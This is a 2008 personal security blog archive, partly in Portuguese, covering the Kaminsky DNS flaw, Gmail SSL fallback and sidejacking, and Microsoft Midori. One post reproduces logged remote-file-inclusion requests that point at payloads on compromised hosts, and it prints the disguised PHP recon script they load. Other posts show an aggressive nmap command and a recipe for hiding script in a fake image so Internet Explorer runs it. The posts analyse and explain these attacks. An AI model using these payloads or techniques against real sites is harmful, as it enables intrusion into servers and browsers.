Archive for July 2008

 
 

Microsoft “Midori”

This seems kind of hard to believe, but this article reports that Microsoft is working on a new “web-centric” OS codenamed Midori, that will eventually replace Windows as we know it. This new OS appears to have some parts from failed projects such as Cairo and WinFS.

Having code from failed projects in it’s content… I wonder what the outcome will be…

Updates

As you probably noticed, I’ve recently started to write only in English. That was something I wanted to do, not only to reach international readers, but mainly to practice my written English. So if you find any kind of grammatical errors feel free to correct me.

I have been learning the insights of Python, now that I have the time. My interest in this language has grown allot since Google released the Google App Engine, which seems to be very interesting. So next month, the spare time in between sun bathing will be for some Python reading :)

More about Google App Engine.

apt-get install wife

apt get install wife...

Click the image to see it bigger

Crazy nmap command

nmap -PE -PM -PO -PS -PP -PU -n -sU -g 53 -sV --version-all -O -T4 --open 127.0.0.1

Yep, it’s pretty crazy, but the output can be very juicy :)

Dan Kaminsky’s DNS Attack Leaked

The Matasano Chargen blog has published an entire post talking about the ways to exploit the DNS vulnerability found by Dan Kaminsky. Apparently the author tried to fall back, removing the post, but it was too late. The post was already in everyone’s feed reader (and still is in mine).

Since I’m not going to disclose the post, you can search for the leaked content in the comments of the Slashdot article.

Update: The Matasano blog has now a new post regarding the previous post removed.

Update 2: Here’s an interview with Dan from the Wired Magazine

Update 3: The exploit was finally released and it’s in metasploit, watch them running to patch the servers. If you are a DNS server admin go patch right now, or get p0wned along with all your DNS users.

Malicious web activity

I’ve noticed that since Friday there has been allot of scanning activity attempts against my blog. Fortunately, they fail. The IP addresses come from a variety of countries like Denmark, Germany, Ukraine, USA and alike, and all seem to come from compromised machines, running Windows 2000, 98 (go figure) and Solaris.

The scanning methods used are interesting. In the logs I can see all sorts of strings sent to a Wordpress PHP variable (?) in order to exploit some kind of remote file inclusion vulnerability.

Here’s an example of the requests being made to the server:

DOCUMENT_ROOT=http://bolikowski.com/images/_MD.TXT??
DOCUMENT_ROOT=http://www.pne.de//contenido/includes/cmd.txt??
_SERVER[DOCUMENT_ROOT]=http://notonyourradio.com/bresica.gif??
_SERVER[DOCUMENT_ROOT]=http://bolikowski.com/images/test.txt???

Well let’s have a look at the content of those files:

<?php
function ConvertBytes($number) {
        $len = strlen($number);
        if($len < 4)
                return sprintf("%d b", $number);
        if($len >= 4 && $len <=6)
                return sprintf("%0.2f Kb", $number/1024);
        if($len >= 7 && $len <=9)
                return sprintf("%0.2f Mb", $number/1024/1024);

        return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "Script Kiddx0r<br>";
$fast = @php_uname();
$fast2 = system(uptime);
$fast3 = system(id);
$fast4 = @getcwd();
$fast5 = getenv("SERVER_SOFTWARE");
$fast6 = phpversion();
$fast7 = $_SERVER['SERVER_NAME'];
$fast8 = gethostbyname($SERVER_ADDR);
$fast9 = get_current_user();
$fast10= diskfreespace($fast4);
$fast11 = ConvertBytes(diskfreespace($fast4));
if (!$fast11) {$fast11 = 0;}
$all1= disk_total_space($fast4);
$fast12 = ConvertBytes(disk_total_space($fast4));
if (!$fast12) {$fast12 = 0;}
$fast13 = ConvertBytes($all1-$fast10);
$os = @PHP_OS;

echo "Script Kiddx0r<br>";
echo "os: $os<br>";
echo "uname -a: $fast<br>";
echo "uptime: $fast2<br>";
echo "id: $fast3<br>";
echo "pwd: $fast4<br>";
echo "user: $fast9<br>";
echo "phpv: $fast6<br>";
echo "SoftWare: $fast5<br>";
echo "ServerName: $fast7<br>";
echo "ServerAddr: $fast8<br>";
echo "free: $fast11<br>";
echo "used: $fast12<br>";
echo "total: $fast13<br>";
echo "By Script Kiddx0r<br>";
exit;
?>

This PHP code is for information gathering about the server, PHP version, OS version etc… it even has a function to convert the disk space from bytes. There are other variants of the code, you can check them at the URL’s. The most interesting thing is that the files used to execute the inclusion are in various formats, like txt and gif, pretending to be an image, but it’s just a PHP file with a .gif extension. Another fact is that most of the websites hosting this files are compromised in a way that the owner doesn’t even notices.

It seems that there’s allot of scanning going on websites (I’m getting nearly 3 scans attempts per hour, but I haven’t found a reason for it, there’s no recent disclosure about a related vulnerability. So I’ll keep searching for some clues about this. Be aware of your blog’s activity, and update every CMS and plugins in use to the latest version.

Gmail SSL

Há uns tempos atrás escrevi um post sobre como melhorar a segurança do Gmail forçando o modo SSL no URL. Esta prática tem algum efeito pois por omissão o Gmail usa apenas SSL no login, descartando-o depois. Ou seja, as cookies passam a viajar na rede sem qualquer tipo de protecção. Usando antes o endereço “https://mail.google.com” irá alterar este comportamento.

Acontece que esta medida não é 100% confiável devido ao próprio funcionamento do Javascript no Gmail. Mesmo que tenha sido colocado o https no URL, se por algum motivo a ligação https não puder ser estabelecida, o Javascript descarta-se da ligação SSL e tenta ligar por http normal, ficando assim para o resto da sessão. Isto vai causar comportamentos indesejados em situações específicas, como por exemplo: no caso em que ligamos o portátil num hotspot público, abrimos o browser no Gmail ainda a ligação está a ser estabelecida, o https vai falhar porque não temos ligação e o Gmail passa automaticamente para http, permanecendo nesse modo. Se estiver alguém a capturar os dados da rede, game-over. Ou ainda outro cenário, em que se está a usar o Gmail, a rede cai, este não acede por https, faz fallback para o modo http e quando a rede voltar já estamos a enviar dados em claro.

Apesar de já ser um ganho significativo em relação a outros serviços online que não têm sequer modo SSL, o modo como o do Gmail está implementado pode em algumas situações ser inútil, sendo vulnerável a sidejacking tal como os outros.

Correr javascript no IE a partir de uma imagem

No Internet Explorer, desde o 6 até ao actual 8, é possível correr código javascript ou html através de uma imagem especialmente criada com esse propósito.

Desde o tempos do IE 6 que a Microsoft sabe deste problema, mas nunca o chegou a corrigir por considerar uma “feature” e não um bug.

Aqui fica um exemplo de como é fácil explorar esta “feature”. Este exemplo não funciona no Firefox, nem Opera.

Primeiro temos de criar uma imagem. A maneira mais fácil será recorrer ao photoshop. Cria-se uma imagem qualquer e depois em File -> File info acedemos ao campo Copyright notice, onde lá colocamos o código javascript (talvez um iframe para ir buscar um trojan, who knows). Para simplificar a demonstração vamos apenas colocar o código:

<script>alert('Teste!');</script>

Outra maneira, mais rápida é colocar um header de imagem num editor de texto normal, bastando para isso colocar o seguinte no editor:

%137%74%80%71%13%10%26%10%00%00%00%13%00%00%00%01%00%00%00%01<script>alert('Teste!');</script>

Agora é só gravar o ficheiro com a extensão .jpg e abrir o ficheiro com o Internet Explorer.

Aqui fica um ficheiro com este exemplo para testarem.

Update: Ao que parece a Google suspendeu o site onde alojei a imagem de teste devido a esta violar as condições. Um bom sinal de que a Google trabalha de modo a dar alguma segurança aos seus serviços. Não me vou dar ao trabalho de realojar a imagem, poderão seguir as instruções acima para recriar a mesma e testarem. No entanto é de notar que esta terá de estar alojada online para resultar. Não pode ser aberta localmente.

Update 2: Mais sobre o assunto aqui e aqui.

Novidades do Gmail - IP logging

Sorrateiramente a Google decidiu adicionar umas funcionalidades ao Gmail que já muito faziam falta. A partir de agora é possível vermos no fundo da página do Gmail o endereço IP a partir do qual houve actividade na conta e ainda um link com detalhes mais interessantes. Nessa página podemos ainda encontrar um botão que permite fazer logout da conta do Gmail aberta noutros computadores.

Aqui fica o link para o artigo completo no blog oficial do Gmail.

Falha de segurança grave no protocolo DNS

Foi ontem anunciada uma grave vulnerabilidade no protocolo DNS que permite que qualquer domínio seja forjado em qualquer servidor DNS através de DNS cache poisoning.

Pelo facto de a falha ser no protocolo, praticamente todas as implementações de servidores DNS são vulneráveis, tal como BIND, Microsoft, Cisco, etc.

Felizmente, a pessoa que anunciou esta vulnerabilidade, Dan Kaminsky, não teve quaisquer intenções maliciosas, comunicando a falha às empresas associadas e desenvolvendo em conjunto com as mesmas uma solução. É de notar que se as intenções fossem outras, Dan poderia perfeitamente ter aproveitado para ganhar uma fortuna à custa da sua descoberta.

Fica aqui o advisory da CERT, e ainda uma online tool criada por Dan para verificar se os vossos DNS servers são vulneráveis. De qualquer modo já existem patchs para a maioria das implementações.